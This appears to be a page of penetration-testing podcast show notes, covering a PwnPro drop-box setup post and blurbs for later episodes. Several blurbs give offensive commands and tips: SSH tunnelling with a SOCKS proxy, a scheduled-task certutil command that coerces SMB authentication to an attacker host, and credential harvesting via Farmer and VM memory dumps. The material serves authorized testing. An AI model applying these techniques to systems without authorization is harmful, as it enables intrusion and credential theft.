7MS #260: PwnPro 101 - Part 2

I'm continuing to love the our PwnPro and had a chance to use it on a customer assessment this week. For the most part the setup/install was a breeze. Just had a few hiccups that the Pwnie support team straightened me out on right away.

In the episode I mention some command line tools and syntax that helped me work with the Pulse. One was using fping to sweep large subnets and accurately find live hosts:

fping -a -g 10.0.5.0/16 > blah.txt

Then, to setup the reverse shell, I just forwarded port 22 from my Ubiquiti gear to my internal Kali host, and then ran this to make the reverse connection:

ssh pwnie@localhost -p 3333

Lastly, to setup the reverse shell so you can proxy Web traffic to an alternate host/port, such as the Nessus port, setup your shell like so:

ssh pwnie@localhost -p 3333 -ND 8080

Then leave that window open and setup your Web browser so that you do a SOCKS5 proxy to localhost:8080. Finally, visit http://ip.of.your.host:XXXX. So if your Pulse was 1.2.3.4 and had Nessus running, you'd visit https://1.2.3.4:8834.

Enjoy!

7MS #636: A Prelude to BPATTY(RELOADED)

Artificial hype alert!  I’m working on a NEW version of BPATTY (Brian’s Pentesting and Technical Tips for You), but it is delayed because of a weird domain name hostage negotiation situation.  It’s weird.  But in the meantime I want to talk about the project (which is a pentest documentation library built on Docusaurus) and how I think it will be bigger/better/stronger/faster/cooler than BPATTY v1 (which is now in archive/read-only mode).

7MS #635: Eating the Security Dog Food - Part 7

Today we’re talking about eating the security dog food – specifically: Satisfying critical security control #1 Using the Atlassian family of tools to create a ticketing/change control system and wrap it into an asset inventory Leveraging Wazuh as a security monitoring system (with eventual plans to leverage its API to feed Atlassian inventory data)

7MS #634: Tales of Pentest Pwnage - Part 60

Hi, today’s tale of pentest pwnage covers a few wins and one loss: A cool opportunity to drop Farmer “crops” to a domain admin’s desktop folder via PowerShell remote session Finding super sensitive data by dumpster-diving into a stale C:\Users\Domain-Admin profile Finding a vCenter database backup and being unable to pwn it using vcenter_saml_login

7MS #633: How to Create a Security Knowledgebase with Docusaurus

7MS #633: How to Create a Security Knowledgebase with Docusaurus

Hey friends, we’re doing a little departure from our normal topics and focusing on how to create a security knowledgebase (is that one word or two?) using Docusaurus!  It’s cool, it’s free, it’s from Meta and you can get up and going in just a few commands – check out their getting started guide to get rockin’ in about 5 minutes. Important files include: docusaurus.config.js – for setting the site title and key config settings sidebars.js – used to create/edit navigation bar menus /src/css/custom.css – to style the site

7MS #632: Tales of Pentest Pwnage – Part 59

Today’s tale of pentest pwnage includes some fun stuff, including: SharpGPOAbuse helps abuse vulnerable GPOs!  Try submitting a harmless POC first via a scheduled task – like ping -n 1 your.kali.ip.address.  When you’re ready to fire off a task that coerces SMB auth, try certutil -syncwithWU \\your.kali.ip.address\arbitrary-folder. I’m not 100% sure on this, but I think scheduled tasks capture Kerberos tickets temporarily to workstation(s).  If you’re on a compromised machine, try Get-ScheduledTask -taskname "name" | select * to get information about what context the attack is running under. DonPAPI got an upgrade recently with a focus on evasion! When attacking vCenter (see our past YouTube stream for a walkthrough), make sure you’ve got the vmss2core utility, which I couldn’t find anywhere except the Internet Archive.  Then I really like to follow this article to pull passwords from VM memory dumps. Can’t RDP into a victim system that you’re PSRemote’d into?  Maybe RDP is listening on an alternate port!  Try Get-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp | select-object portnumber` And if you want to hang around until the very end, you can hear me brag about my oldest son who just became an EMT!

7MS #630: Epic Road Trip Served with Security Sprinkles

Today I recap a two week persona/biz road trip and talk about the security stuff that got sprinkled into it, including: Family members who don’t care about their personal security Weakpass – a cool collection of word lists for brute-forcing and spraying that I’d never heard of Working on two security Webinars for Netwrix (here’s part 1: Mastering Password Security & Active Directory Monitoring, and and part 2: Advanced Strategies for SQL Server Protection & Sensitive Information Security) The moment we though our credit card was stolen at a waterpark A shameless plug for our fun interview with Stu the recruiter Some internal pentest tips that have given us some gold in recent assessments Super fast, spoiler-free movie reviews of Roadhouse, Arcadian, Late Night with the Devil and The Coffee Table

7MS #629: Interview with Stu Musil of Ambient Consulting

7MS #629: Interview with Stu Musil of Ambient Consulting

Today we have a fun featured interview with my new friend Stu Musil of Ambient Consulting I had a great time talking with Stu about bashing come common misconceptions people have about working with recruiters, plus tackling some frequently asked questions: How do you properly vet a recruiter you don’t know, but who offers a job opportunity you’re interested in? What questions should you ask a potential recruiter to get a feel for their level of experience in the industry (hint, if a recruiter doesn’t even have a LinkedIn page, that’s probably a red flag) Resume tips: Finding the right length and tone Tailoring your resume for each individual job Highlighting your strengths Do people still use cover letters when applying to a gig? Is a “hobbies and interests” section still a good idea on a resume (to show them you’re not a robot who works 24/7)? Lets talk about some horror and/or success stories from the world of recruiting!
